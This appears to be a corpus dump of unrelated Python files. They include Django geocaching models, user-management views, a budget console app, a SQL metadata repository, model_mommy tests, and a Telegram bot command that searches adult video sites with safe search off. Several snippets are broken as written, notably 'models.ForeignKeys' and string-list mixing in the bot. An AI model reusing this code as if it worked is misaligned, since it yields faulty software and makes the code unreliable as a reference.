django.contrib.auth.models import AbstractUser\nfrom multiselectfield import MultiSelectField\n\n# Create your models here.\n#Package\n\nclass GeocachingUser(AbstractUser):\n favorites = models.ManyToManyField(Package)\n no_found = models.IntegerField()\n\nclass Package(models.Model):\n TYPE_CHOICES = (\n (\"TRADITIONAL\", \"Traditional\"),\n (\"MULTICACHE\", \"Multicache\"),\n (\"VIRTUAL\", \"Virtual\"),\n (\"LETTERBOX\", \"Letterbox\"),\n (\"EVENT\", \"Event\"),\n (\"QUESTION\", \"Question\"),\n )\n SIZE_CHOICES = (\n (\"1\", \"Micro\"),\n (\"2\", \"Small\"),\n (\"3\", \"Regular\"),\n (\"4\", \"Big\"),\n (\"5\", \"Virtual\"),\n (\"6\", \"Unselected\"),\n (\"7\", \"Other\"),\n )\n PACKAGE_DIFFICULTY_CHOICES = (\n (\"1\", \"Easy\"),\n (\"2\", \"Medium-Easy\"),\n (\"3\", \"Medium\"),\n (\"4\", \"Medium-Hard\"),\n (\"5\", \"Hard\"),\n )\n TERRAIN_DIFFICULTY_CHOICES = (\n (\"1\", \"Easy\"),\n (\"2\", \"Medium-Easy\"),\n (\"3\", \"Medium\"),\n (\"4\", \"Medium-Hard\"),\n (\"5\", \"Hard\"),\n )\n ATTRIBUTE_CHOICE = (\n (\"1\", \"Dogs\"),\n (\"2\", \"Bicycle\"),\n (\"3\", \"Motorcycle\"),\n (\"4\", \"4x4\"),\n )\n\n point = models.PointField()\n radius = models.IntegerField()\n polygon = models.PolygonField()\n\n\n name = models.CharField(max_length=60)\n description = models.TextField()\n hints = models.CharField(max_length=150)\n terrain_difficulty = models.CharField(max_length=20,\n choices=TERRAIN_DIFFICULTY_CHOICES,\n default=\"3\")\n package_difficulty = models.CharField(max_length=20,\n choices=PACKAGE_DIFFICULTY_CHOICES,\n default=\"3\")\n size = models.CharField(max_length=20,\n choices=SIZE_CHOICES,\n default=\"3\")\n ptype = models.CharField(max_length=20,\n choices=TYPE_CHOICES,\n default=\"TRADITIONAL\")\n language = models.CharField(max_length=2)\n owner = models.ForeignKeys(GeocachingUser)\n attributes = MultiSelectField(choices=ATTRIBUTE_CHOICES)\n\n creation_date = models.DateTimeField(auto_now_add=True)\n update_date = models.DateTimeField(auto_now_add=True)\n active = models.BooleanField()\n\n finders = models.ManyToManyField(Package)\n\n\nclass Comment(models.Model):\n package = models.ForeignKey(Package)\n owner = models.ForeignKeys(GeocachingUser)\n text = models.CharField(max_length=400)\n creation_date = models.DateTimeField(auto_now_add=True)\n\n","sub_path":"geocaching/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"315069042","text":"from django.core.urlresolvers import reverse_lazy, reverse\nfrom django.shortcuts import render, redirect\nfrom .models import User\nfrom .forms import new, edit\n\n\ndef all_users(request):\n context = {\n 'users': User.objects.all()\n }\n return render(request, 'user_managment/index.html', context)\n\n\ndef create_user(request):\n if request.method == 'GET':\n context = {\n 'form': new(),\n }\n return render(request, 'user_managment/new.html', context)\n elif request.method == 'POST':\n User.objects.create(name=request.POST['name'], email=request.POST['email'])\n return redirect(reverse('index'))\n\ndef edit_user(request, user_id):\n context = {\n 'form': edit(),\n 'id': user_id,\n }\n return render(request, 'user_managment/edit.html', context)\n\n\ndef update(request):\n if request.method == 'POST':\n user = User.objects.get(id=request.POST['id'])\n user.name = request.POST['name']\n user.email = request.POST['email']\n user.save()\n return redirect(\n reverse('show_user', kwargs={'user_id': int(request.POST['id'])})\n )\n\ndef show_user(request, user_id):\n context = {\n 'account': User.objects.get(id=user_id)\n }\n return render(request, 'user_managment/inspect.html', context)\n\n\ndef destroy_user(request, user_id):\n User.objects.get(id=user_id).delete()\n return redirect(reverse('index'))\n","sub_path":"rest/user_managment/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"88975127","text":"# 정수 2개를 입력받아\n# 합을 출력하는 프로그램을 작성해보자.\n# 입력 : 2개의 정수가 공백으로 구분되어 입력된다.\n# 출력 : 두 정수의 합을 출력한다.\nnum1, num2 = input().split(' ')\nsum = int(num1)+int(num2)\nprint(sum)\n\n# 참고\n# 입력되는 값은 기본적으로 문자열로 인식된다.\n# 문자열 + 문자열은 두 문자열을 합친 문자열을 만든다.\n# 숫자로 구성된 문자열이나 실수를 정수(integer) 값으로 바꾸기 위해서는 int( ) 를 사용할 수 있다.\n# 수 + 수의 결과는 합(addition)이 계산된다.\n","sub_path":"no-6025.py","file_name":"no-6025.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"40733981","text":"class Solution:\n # @return an integer\n def uniquePaths(self, m, n):\n if m == 0 and n == 0:\n return 0\n # This creates a matrix to iterate on, where n is the column and m is the row\n aux = [[1 for x in range(n)] for x in range(m)]\n for i in range(1, m):\n for j in range(1, n):\n # We start with 1 to allow for reductions throughout the code base\n # Index I, and J has an added index comparatively???? What the fuck?\n # aux[1, 1] = 1 + 1 = 2\n # aux[2, 1] = 2+1 = 3 \n # This basically adds the grid information together\n aux[i][j] = aux[i][j-1]+aux[i-1][j]\n return aux[-1][-1]","sub_path":"unique_paths/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"288269777","text":"# coding=utf-8\n\nfrom google.appengine.ext import ndb\n\nimport main\nget = main.get_platform_command_code('telegram', 'get')\n\nCommandName = 'getxxx'\n\nclass SeenXXX(ndb.Model):\n allPreviousSeenXXX = ndb.BooleanProperty(indexed=False, default=False)\n\n\n# ================================\n\ndef setPreviouslySeenXXXValue(NewValue):\n es = SeenXXX.get_or_insert(CommandName)\n es.allPreviousSeenXXX = NewValue\n es.put()\n\ndef addPreviouslySeenXXXValue(NewValue):\n es = SeenXXX.get_or_insert(CommandName)\n if es.allPreviousSeenXXX == '':\n es.allPreviousSeenXXX = NewValue\n else:\n es.allPreviousSeenXXX += ',' + NewValue\n es.put()\n\ndef getPreviouslySeenXXXValue():\n es = SeenXXX.get_or_insert(CommandName)\n if es:\n return es.allPreviousSeenXXX\n return ''\n\ndef wasPreviouslySeenXXX(xxx_link):\n allPreviousLinks = getPreviouslySeenXXXValue()\n if ',' + xxx_link + ',' in allPreviousLinks or \\\n allPreviousLinks.startswith(xxx_link + ',') or \\\n allPreviousLinks.endswith(',' + xxx_link) or \\\n allPreviousLinks == xxx_link:\n return True\n return False\n\n\ndef run(keyConfig, message, totalResults=1):\n requestText = message.strip()\n args, data, results_this_page, total_results = search_gcse_for_xxx(keyConfig, requestText)\n if totalResults > 1:\n return Send_XXXs(requestText, data, total_results, results_this_page, totalResults, args)\n else:\n return Send_First_Valid_XXX(requestText, data, total_results, results_this_page)\n\n\ndef search_gcse_for_xxx(keyConfig, requestText):\n args = {'cx': keyConfig.get('Google', 'GCSE_XSE_ID'),\n 'key': keyConfig.get('Google', 'GCSE_APP_ID'),\n 'safe': 'off',\n 'q': requestText,\n 'start': 1}\n data, total_results, results_this_page = get.Google_Custom_Search(args)\n return args, data, results_this_page, total_results\n\n\ndef Send_First_Valid_XXX(requestText, data, total_results, results_this_page):\n if data['searchInformation']['totalResults'] >= '1':\n sent_count = 0\n for item in data['items']:\n xlink = item['link']\n if is_valid_xxx(xlink) and not wasPreviouslySeenXXX(xlink):\n addPreviouslySeenXXXValue(xlink)\n sent_count += 1\n return [xlink]\n errorMsg = 'I\\'m sorry Dave, you\\'re just too filthy.'\n return [errorMsg]\n\n\ndef is_valid_xxx(xlink):\n return 'xvideos.com/tags/' not in xlink and \\\n 'xvideos.com/favorite/' not in xlink and \\\n 'xvideos.com/?k=' not in xlink and \\\n 'xvideos.com/tags' not in xlink and \\\n 'xvideos.com/profiles/' not in xlink and \\\n 'pornhub.com/users/' not in xlink and \\\n 'pornhub.com/video/search?search=' not in xlink and \\\n 'pornhub.com/insights/' not in xlink and \\\n 'pornhub.com/devices/' not in xlink and \\\n 'pornhub.com/gay/' not in xlink and \\\n 'pornhub.com/pornstar/' not in xlink and \\\n 'xnxx.com/?' not in xlink and \\\n 'xnxx.com/search/' not in xlink and \\\n 'xnxx.com/tags/' not in xlink and \\\n 'xhamster.com/categories/' not in xlink and \\\n 'xhamster.com/channels/' not in xlink and \\\n 'xhamster.com/forums/' not in xlink and \\\n 'xhamster.com/stories_search' not in xlink and \\\n 'xhamster.com/stories/' not in xlink and \\\n 'xhamster.com/search/stories?q=' not in xlink and \\\n 'xhamster.com/user/' not in xlink and \\\n 'xhamster.com/search?q=' not in xlink and \\\n 'redtube.com/pornstar/' not in xlink and \\\n 'redtube.com/?search=' not in xlink and \\\n 'motherless.com/term/' not in xlink and \\\n 'search?search=' not in xlink\n\n\ndef Send_XXXs(requestText, data, total_results, results_this_page, number, args):\n if data['searchInformation']['totalResults'] >= '1':\n total_sent = []\n total_offset = 0\n while len(total_sent) < int(number) and int(total_offset) < int(total_results):\n for item in data['items']:\n xlink = item['link']\n total_offset += 1\n if is_valid_xxx(xlink) and not wasPreviouslySeenXXX(xlink):\n addPreviouslySeenXXXValue(xlink)\n total_sent += xlink\n if len(total_sent) >= int(number) or int(total_offset) >= int(total_results):\n break\n if len(total_sent) < int(number) and int(total_offset) < int(total_results):\n args['start'] = total_offset+1\n data, total_results, results_this_page = get.Google_Custom_Search(args)\n if len(total_sent) < int(number):\n total_sent += 'I\\'m sorry Dave, I\\'m afraid I cannot find enough filth for ' + requestText + '.' + \\\n ' I could only find ' + len(total_sent) + ' out of ' + str(number)\n return total_sent\n else:\n errorMsg = 'I\\'m sorry Dave, you\\'re just too filthy.'\n return [errorMsg]\n","sub_path":"web_commands/getxxx.py","file_name":"getxxx.py","file_ext":"py","file_size_in_byte":5104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"37891329","text":"import itertools\n\nfrom mssql_db_manager import MsSqlDbManager, MsSqlDbName\nfrom config import Config, ConfigNamespace\nfrom database_type import DatabaseType\nfrom table_def import TableDef\n\n\nclass DbDefinitionRepositoryConfigProperty:\n NUM_BUCKETS = \"num_buckets\"\n\n\nclass DbDefinitionRepository:\n DEFAULT_PARTITION_FIELDS = {\n DatabaseType.CUSTOMER: [\"partitioncustomerid\"],\n DatabaseType.SHARED: [],\n DatabaseType.SALESFORCE: []\n }\n\n GET_IMPORTABLE_TABLES_QUERY = \"\"\"\n SELECT TableID, TableName, ImportTypeID, SourceID\n FROM \n HDP_TablesToImport\n WHERE \n ImportTypeID > 0 AND SourceID = %(sourceId)s\n \"\"\"\n\n GET_COLUMNS_FOR_TABLES_QUERY = \"\"\"\n SELECT\n TableID, \n ColumnName AS COLUMN_NAME, \n ColumnType AS DATA_TYPE, \n ColumnLength AS CHARACTER_MAXIMUM_LENGTH,\n ColumnPrecision AS NUMERIC_PRECISION, \n ColumnScale AS NUMERIC_SCALE, \n isMergeMatch AS isMergeMatch,\n isPartition AS isPartition\n FROM\n HDP_ColumnsToImport\n WHERE\n ColumnImportFlag = 1\n AND TableID IN (%s) \n ORDER BY TableID, ColumnName\n \"\"\"\n\n GET_STAGED_COLUMNS_FOR_TABLES_QUERY = \"\"\"\n SELECT\n TableID, \n ColumnName AS COLUMN_NAME, \n ColumnType AS DATA_TYPE, \n ColumnLength AS CHARACTER_MAXIMUM_LENGTH,\n ColumnPrecision AS NUMERIC_PRECISION, \n ColumnScale AS NUMERIC_SCALE, \n isMergeMatch AS isMergeMatch,\n isPartition AS isPartition\n FROM\n HDP_ColumnsToImport\n WHERE\n StagedImportFlag = 1\n AND TableID IN (%s) \n ORDER BY TableID, ColumnName\n \"\"\"\n\n UPDATE_TABLE_COLUMN_IMPORT_FLAG_QUERY = \"\"\"\n UPDATE\n HDP_ColumnsToImport\n SET\n columnImportFlag=stagedImportFlag\n WHERE\n TableID IN \n (SELECT \n TableID \n FROM HDP_TablesToImport \n WHERE \n lower(TableName)=lower(%(tableName)s)\n AND SourceID=%(sourceId)s)\n \"\"\"\n\n GET_TABLES_WITH_STAGED_CHANGES = \"\"\"\n SELECT \n TableName \n FROM \n HDP_TablesToImport \n WHERE \n TableID IN\n (SELECT TableID FROM HDP_ColumnsToImport \n WHERE ColumnImportFlag != StagedImportFlag \n GROUP BY TableID)\n AND SourceID = %(sourceId)s\n AND ImportTypeID > 0\n \"\"\"\n\n def __init__(self):\n self.config = Config()\n self.logger = self.config.get_logger()\n self.database_type = DatabaseType()\n self.mssql_db_mgr = MsSqlDbManager(db_name=MsSqlDbName.APPLICATION_METADATA)\n\n def get_db_definition(self, db_type):\n \"\"\"\n :param db_type: the type for which to get the db definition\n :type db_type: DatabaseType\n :rtype: dict of str:TableDef\n \"\"\"\n tables = self.get_importable_tables(db_type)\n columns_by_table = self._get_columns_by_table_id([table[\"TableID\"] for table in tables])\n\n return self._build_db_definition(db_type, tables, columns_by_table)\n\n def get_staged_db_definition(self, db_type):\n \"\"\"\n :type db_type: DatabaseType\n :rtype: dict of str:TableDef\n \"\"\"\n tables = self.get_importable_tables(db_type)\n columns_by_table = self._get_staged_columns_by_table_id([table[\"TableID\"] for table in tables])\n\n return self._build_db_definition(db_type, tables, columns_by_table)\n\n def get_importable_tables(self, db_type):\n return self.mssql_db_mgr.execute_query(DbDefinitionRepository.GET_IMPORTABLE_TABLES_QUERY,\n query_params={\"sourceId\": db_type})\n\n def get_tables_with_staged_changes(self, db_type):\n \"\"\"\n :param db_type: the type for which to get the db definition\n :type db_type: DatabaseType\n :rtype list of str\n \"\"\"\n results = self.mssql_db_mgr.execute_query(DbDefinitionRepository.GET_TABLES_WITH_STAGED_CHANGES,\n query_params={\"sourceId\": db_type})\n\n return [row[\"TableName\"] for row in results]\n\n def commit_staged_table_definition(self, db_type, table_name):\n \"\"\"\n\n :param db_type: the type for which to get the db definition\n :type db_type: DatabaseType\n :param table_name: The name of the table to update\n :type table_name: str\n :rtype: None\n \"\"\"\n self.mssql_db_mgr.execute_query(DbDefinitionRepository.UPDATE_TABLE_COLUMN_IMPORT_FLAG_QUERY,\n query_params={\"tableName\": table_name, \"sourceId\": db_type})\n\n def _build_db_definition(self, db_type, tables_def, columns_by_table):\n db_definition = {}\n for table in tables_def:\n\n table_id = table[\"TableID\"]\n table_name = table[\"TableName\"]\n ingestion_type = table[\"ImportTypeID\"]\n\n cols_def = columns_by_table[table_id]\n partition_columns = self._get_partition_cols(columns_by_table[table_id], db_type)\n bucket_columns = self._get_bucket_columns(columns_by_table[table_id])\n num_buckets = int(\n self.config.get(ConfigNamespace.INGESTION, DbDefinitionRepositoryConfigProperty.NUM_BUCKETS))\n\n db_definition[table_name] = TableDef(column_definitions=cols_def,\n partition_fields=partition_columns,\n num_buckets=num_buckets,\n ingestion_type=ingestion_type,\n table_name=table_name,\n merge_match_buckets=bucket_columns)\n\n return db_definition\n\n def _get_staged_columns_by_table_id(self, table_ids):\n table_ids_list = self._comma_separated_id_list(table_ids)\n\n columns = self.mssql_db_mgr.execute_query(DbDefinitionRepository.GET_STAGED_COLUMNS_FOR_TABLES_QUERY % table_ids_list)\n\n column_defs = {}\n for table_id, col_def in itertools.groupby(columns, lambda cols: cols[\"TableID\"]):\n column_defs[table_id] = list(col_def)\n return column_defs\n\n def _get_columns_by_table_id(self, table_ids):\n table_ids_list = self._comma_separated_id_list(table_ids)\n\n columns = self.mssql_db_mgr.execute_query(DbDefinitionRepository.GET_COLUMNS_FOR_TABLES_QUERY % table_ids_list)\n column_defs = {}\n for table_id, col_def in itertools.groupby(columns, lambda cols: cols[\"TableID\"]):\n column_defs[table_id] = list(col_def)\n return column_defs\n\n def _comma_separated_id_list(self, id_list):\n \"\"\"\n\n :type id_list: list of int\n :rtype: str\n \"\"\"\n if id_list is None:\n return \"\"\n\n return \",\".join(str(element) for element in id_list)\n\n def _get_partition_cols(self, cols_def, db_type):\n if db_type in DbDefinitionRepository.DEFAULT_PARTITION_FIELDS:\n return DbDefinitionRepository.DEFAULT_PARTITION_FIELDS[db_type]\n else:\n return [col_def[\"COLUMN_NAME\"] for col_def in cols_def if col_def[\"isPartition\"]]\n\n\n def _get_bucket_columns(self, cols_def):\n return [col_def[\"COLUMN_NAME\"] for col_def in cols_def if col_def[\"isMergeMatch\"]]","sub_path":"Projects/hadoop_import/hadoopimport/db_definition_repository.py","file_name":"db_definition_repository.py","file_ext":"py","file_size_in_byte":7359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"38660895","text":"import os\r\nimport databases\r\nimport datetime\r\n\r\nclass UI():\r\n vers = \"1.0\"\r\n db = databases.createDatabase()\r\n\r\n def mainMenu(self):\r\n self.headerText()\r\n print(\"Main Menu:\\n\")\r\n print(\"1. Add Income\\n2. Add Expense\\n3. Show Table Values for Month\\n4. Run Queries\\n5. Quit\\n\")\r\n try:\r\n value = int(input(\"Choose option (1-5) to continue: \"))\r\n except TypeError as err:\r\n print(err)\r\n\r\n if value == 1:\r\n self.addIncome()\r\n elif value == 2:\r\n self.addExpenses()\r\n elif value == 3:\r\n self.showTables()\r\n elif value == 4:\r\n self.runQuery()\r\n elif value == 5:\r\n self.quitMenu()\r\n\r\n def addIncome(self):\r\n i_text = \"Add Income:\\n\"\r\n self.headerText()\r\n print(i_text)\r\n i_amount = input(\"Income amount: \")\r\n \r\n self.headerText()\r\n print(i_text)\r\n i_contributor = input(\"Income contributor: \")\r\n\r\n self.headerText()\r\n print(i_text)\r\n i_source = input(\"Income source: \")\r\n\r\n self.headerText()\r\n print(i_text)\r\n i_date = input(\"Income date (yyyymmdd): \")\r\n\r\n self.db.importData(table = \"income\", amount = i_amount, contributor = i_contributor, source = i_source, date = i_date)\r\n\r\n value = input(\"Return to main menu or retry? Y/R/N: \")\r\n\r\n if value.lower() == \"y\":\r\n self.mainMenu()\r\n elif value.lower() == \"r\":\r\n self.addIncome()\r\n else:\r\n self.quitMenu()\r\n\r\n def addExpenses(self):\r\n self.headerText()\r\n print(\"Add Expense:\\n\")\r\n i_amount = input(\"Expense amount: \")\r\n \r\n self.headerText()\r\n print(\"Add Expense:\\n\")\r\n i_contributor = input(\"Expense contributor: \")\r\n\r\n self.headerText()\r\n print(\"Add Expense:\\n\")\r\n i_source = input(\"Expense source (store): \")\r\n\r\n self.headerText()\r\n print(\"Add Expense:\\n\")\r\n i_date = input(\"Expense date (yyyymmdd): \")\r\n\r\n self.headerText()\r\n print(\"Add Expense:\\n\")\r\n i_note = input(\"Expense note: \")\r\n\r\n self.db.importData(table = \"expenses\", amount = i_amount, contributor = i_contributor, source = i_source, \r\n date = i_date, note = i_note)\r\n\r\n value = input(\"Do you want to add any items to the expense? (Y/N) \")\r\n\r\n if value.lower() == \"y\":\r\n self.addItems(int(i_amount))\r\n else:\r\n self.mainMenu()\r\n\r\n def addItems(self, spent_amount):\r\n cur_index = self.db.getIndexID()\r\n\r\n self.headerText()\r\n print(\"Add Items:\\n Spent this expense: \", spent_amount, \"\\n\")\r\n i_name = input(\"Item name: \")\r\n \r\n self.headerText()\r\n print(\"Add Items:\\n Spent this expense: \", spent_amount, \"\\n\")\r\n i_quantity = input(\"How many?: \")\r\n\r\n self.headerText()\r\n print(\"Add Items:\\n Spent this expense: \", spent_amount, \"\\n\")\r\n i_price = input(\"Price per unit: \")\r\n\r\n self.headerText()\r\n print(\"Add Items:\\n Spent this expense: \", spent_amount, \"\\n\")\r\n i_type = input(\"Expense type: \") \r\n spent_amount = spent_amount-(int(i_quantity) * int(i_price)) \r\n\r\n self.db.importData(table = \"items\", name = i_name, quantity = i_quantity, price = i_price, expense_type = i_type, expenseid = cur_index)\r\n\r\n value = input(\"Do you want to add more items to the expense? (Y/N) \")\r\n\r\n if value.lower() == \"y\":\r\n self.addItems(spent_amount)\r\n else:\r\n self.mainMenu()\r\n\r\n def showTables(self):\r\n self.headerText()\r\n\r\n i_table = input(\"Which table do you want to view? (income, expenses): \")\r\n self.headerText()\r\n\r\n i_month = input(\"Which month of the year? (1-12): \")\r\n self.headerText()\r\n\r\n pos_year = input(\"Which year? (empty for current): \")\r\n if pos_year == \"\":\r\n now = datetime.datetime.now()\r\n year = str(now.year)\r\n else:\r\n year = pos_year\r\n\r\n self.setHeader(i_table)\r\n data = self.db.fetchData(table = i_table, month = i_month, year = year)\r\n for i in data:\r\n for n in i:\r\n print(n, end=\"\\t\")\r\n print(\"\")\r\n\r\n value = input(\"Return to main menu or retry? Y/R/N: \")\r\n\r\n if value.lower() == \"y\":\r\n self.mainMenu()\r\n elif value.lower() == \"r\":\r\n self.showTables()\r\n else:\r\n self.quitMenu()\r\n\r\n def runQuery(self):\r\n self.headerText()\r\n print(\"\\n1. Get a overlook of all expense types and the combined expense of a given month\")\r\n print(\"2. Most expensive item during a month\")\r\n print(\"3. Get details from receipt\")\r\n print(\"4. Income - Expenses monthly over the year\")\r\n print(\"5. Amount spent on a specified product in the different stores\")\r\n print(\"6. Quit\")\r\n\r\n value = input(\"\\nChoose menu type: \")\r\n\r\n if value == \"1\":\r\n self.headerText()\r\n month = input(\"\\nWhich month do you want to view? (1-12) \")\r\n self.headerText()\r\n year = input(\"\\nWhich year? (nothing for current) \")\r\n if year == \"\":\r\n now = datetime.datetime.now()\r\n year = str(now.year)\r\n else:\r\n year = year\r\n print(\"Name\", end = \" \" * 16)\r\n print(\"Price\", end = \" \" * 15)\r\n print()\r\n data = self.db.queryHandler(choice = 1, month = month, year = year)\r\n self.printValues(data)\r\n value = input(\"\\nReturn to main menu? Y/N \")\r\n if value.lower() == \"y\":\r\n self.runQuery()\r\n else:\r\n self.quitMenu()\r\n elif value == \"2\":\r\n self.headerText()\r\n year = input(\"\\nWhich year? (nothing for current) \")\r\n if year == \"\":\r\n now = datetime.datetime.now()\r\n year = str(now.year)\r\n else:\r\n year = year\r\n data = self.db.queryHandler(choice = 2, year = year) \r\n print(\"Month\", end = \" \" * 15)\r\n print(\"Year\", end = \" \" * 16)\r\n print(\"Price\", end = \" \" * 15)\r\n print()\r\n self.printValues(data)\r\n value = input(\"\\nReturn to main menu? Y/N \")\r\n if value.lower() == \"y\":\r\n self.runQuery()\r\n else:\r\n self.quitMenu() \r\n elif value == \"3\":\r\n self.headerText()\r\n data = self.db.showExpenses()\r\n print(\"\\nID\", end = \" \" * 18)\r\n print(\"Amount\", end = \" \" * 14)\r\n print(\"Date\", end = \" \" * 16)\r\n print()\r\n self.printValues(data)\r\n print(\"\")\r\n value = input(\"Choose an ID to view receipt: \")\r\n self.headerText()\r\n data = self.db.queryHandler(choice = 3, expenseid = value)\r\n print(\"\\nName\", end = \" \" * 16)\r\n print(\"Amount\", end = \" \" * 14)\r\n print(\"Price\", end = \" \" * 15)\r\n print()\r\n self.printValues(data)\r\n value = input(\"\\nReturn to main menu? Y/N \")\r\n if value.lower() == \"y\":\r\n self.runQuery()\r\n else:\r\n self.quitMenu()\r\n elif value == \"4\":\r\n self.headerText()\r\n year = input(\"Which year do wish to view? \")\r\n data = self.db.queryHandler(choice = 4, year = year)\r\n print(\"\\nMonth\", end=\" \" * 15)\r\n print(\"Income\", end=\" \" * 14)\r\n print(\"Expense\", end=\" \" * 13) \r\n print(\"Profit\", end=\" \" * 14)\r\n print()\r\n self.printValues(data)\r\n value = input(\"\\nReturn to main menu? Y/N \")\r\n if value.lower() == \"y\":\r\n self.runQuery()\r\n else:\r\n self.quitMenu()\r\n elif value == \"5\":\r\n self.headerText()\r\n name = input(\"Which product do you wish to see? \")\r\n data = self.db.queryHandler(choice = 5, name = name)\r\n print(\"\\nSource\", end = \" \" * 14)\r\n print(\"Sum\", end = \" \" * 17)\r\n print(\"Name\", end = \" \" * 16)\r\n print()\r\n self.printValues(data)\r\n value = input(\"\\nReturn to main menu? Y/N \")\r\n if value.lower() == \"y\":\r\n self.runQuery()\r\n else:\r\n self.quitMenu()\r\n elif value == \"6\":\r\n self.quitMenu()\r\n else:\r\n self.runQuery()\r\n\r\n def quitMenu(self):\r\n os.close(fd=0)\r\n\r\n def headerText(self):\r\n clear = lambda: os.system('cls')\r\n clear()\r\n print(\"RoEm BudgetProgram v\" + self.vers)\r\n\r\n def setHeader(self, table):\r\n if table == \"income\":\r\n print(\"Amount\\tName\\tSource\")\r\n elif table == \"expenses\":\r\n print(\"Amount\\tName\\tSource\\tNote\")\r\n elif table == \"items\":\r\n print(\"Name\\tPrice\\tQuantity\\tType\")\r\n\r\n def printValues(self, values):\r\n for i in values:\r\n for j in i: print(j, end=\" \" * (20-len(str(j))))\r\n print(\"\")","sub_path":"uiroem.py","file_name":"uiroem.py","file_ext":"py","file_size_in_byte":8369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"98467136","text":"# -*- coding:utf-8 -*-\nfrom mock import patch\nfrom decimal import Decimal\n\nfrom django.test import TestCase\nfrom django.db.models import Manager\nfrom django.db.models.signals import m2m_changed\n\nfrom model_mommy import mommy\nfrom model_mommy import random_gen\nfrom model_mommy.exceptions import ModelNotFound, AmbiguousModelName, InvalidQuantityException\nfrom model_mommy.timezone import smart_datetime as datetime\n\nfrom test.generic import models\n\n\nclass ModelFinderTest(TestCase):\n def test_unicode_regression(self):\n obj = mommy.prepare('generic.Person')\n self.assertIsInstance(obj, models.Person)\n\n def test_model_class(self):\n obj = mommy.prepare(models.Person)\n self.assertIsInstance(obj, models.Person)\n\n def test_app_model_string(self):\n obj = mommy.prepare('generic.Person')\n self.assertIsInstance(obj, models.Person)\n\n def test_model_string(self):\n obj = mommy.prepare('Person')\n self.assertIsInstance(obj, models.Person)\n\n def test_raise_on_ambiguous_model_string(self):\n with self.assertRaises(AmbiguousModelName):\n mommy.prepare('Ambiguous')\n\n def test_raise_model_not_found(self):\n with self.assertRaises(ModelNotFound):\n mommy.Mommy('non_existing.Model')\n\n with self.assertRaises(ModelNotFound):\n mommy.Mommy('NonExistingModel')\n\n\nclass MommyCreatesSimpleModel(TestCase):\n\n def test_consider_real_django_fields_only(self):\n id_ = models.ModelWithImpostorField._meta.get_field('id')\n with patch.object(mommy.Mommy, 'get_fields') as mock:\n f = Manager()\n f.name = 'foo'\n mock.return_value = [id_, f]\n try:\n mommy.make(models.ModelWithImpostorField)\n except TypeError:\n self.fail('TypeError raised')\n\n def test_make_should_create_one_object(self):\n person = mommy.make(models.Person)\n self.assertIsInstance(person, models.Person)\n\n # makes sure it is the person we created\n self.assertTrue(models.Person.objects.filter(id=person.id))\n\n def test_prepare_should_not_persist_one_object(self):\n person = mommy.prepare(models.Person)\n self.assertIsInstance(person, models.Person)\n\n # makes sure database is clean\n self.assertEqual(models.Person.objects.all().count(), 0)\n\n self.assertEqual(person.id, None)\n\n def test_non_abstract_model_creation(self):\n person = mommy.make(models.NonAbstractPerson, name='bob', happy=False)\n self.assertIsInstance(person, models.NonAbstractPerson)\n self.assertEqual('bob', person.name)\n self.assertFalse(person.happy)\n\n def test_multiple_inheritance_creation(self):\n multiple = mommy.make(models.DummyMultipleInheritanceModel)\n self.assertIsInstance(multiple, models.DummyMultipleInheritanceModel)\n self.assertTrue(models.Person.objects.filter(id=multiple.id))\n self.assertTrue(models.DummyDefaultFieldsModel.objects.filter(default_id=multiple.default_id))\n\n\nclass MommyRepeatedCreatesSimpleModel(TestCase):\n\n def test_make_should_create_objects_respecting_quantity_parameter(self):\n people = mommy.make(models.Person, _quantity=5)\n self.assertEqual(models.Person.objects.count(), 5)\n\n people = mommy.make(models.Person, _quantity=5, name=\"George Washington\")\n self.assertTrue(all(p.name == \"George Washington\" for p in people))\n\n def test_make_raises_correct_exception_if_invalid_quantity(self):\n self.assertRaises(\n InvalidQuantityException, mommy.make, _model=models.Person, _quantity=\"hi\"\n )\n self.assertRaises(\n InvalidQuantityException, mommy.make, _model=models.Person, _quantity=-1\n )\n self.assertRaises(\n InvalidQuantityException, mommy.make, _model=models.Person, _quantity=0\n )\n\n def test_prepare_should_create_objects_respecting_quantity_parameter(self):\n people = mommy.prepare(models.Person, _quantity=5)\n self.assertEqual(len(people), 5)\n self.assertTrue(all(not p.id for p in people))\n\n people = mommy.prepare(models.Person, _quantity=5, name=\"George Washington\")\n self.assertTrue(all(p.name == \"George Washington\" for p in people))\n\n def test_prepare_raises_correct_exception_if_invalid_quantity(self):\n self.assertRaises(\n InvalidQuantityException, mommy.prepare, _model=models.Person, _quantity=\"hi\"\n )\n self.assertRaises(\n InvalidQuantityException, mommy.prepare, _model=models.Person, _quantity=-1\n )\n self.assertRaises(\n InvalidQuantityException, mommy.prepare, _model=models.Person, _quantity=0\n )\n\n\nclass MommyPrepareSavingRelatedInstancesTests(TestCase):\n\n def test_default_behaviour_for_and_fk(self):\n dog = mommy.prepare(models.Dog)\n\n self.assertIsNone(dog.pk)\n self.assertIsNone(dog.owner.pk)\n with self.assertRaises(ValueError):\n dog.friends_with\n\n def test_create_fk_instances(self):\n dog = mommy.prepare(models.Dog, _save_related=True)\n\n self.assertIsNone(dog.pk)\n self.assertTrue(dog.owner.pk)\n with self.assertRaises(ValueError):\n dog.friends_with\n\n def test_create_fk_instances_with_quantity(self):\n dog1, dog2 = mommy.prepare(models.Dog, _save_related=True, _quantity=2)\n\n self.assertIsNone(dog1.pk)\n self.assertTrue(dog1.owner.pk)\n with self.assertRaises(ValueError):\n dog1.friends_with\n\n self.assertIsNone(dog2.pk)\n self.assertTrue(dog2.owner.pk)\n with self.assertRaises(ValueError):\n dog2.friends_with\n\n def test_create_one_to_one(self):\n lonely_person = mommy.prepare(models.LonelyPerson, _save_related=True)\n\n 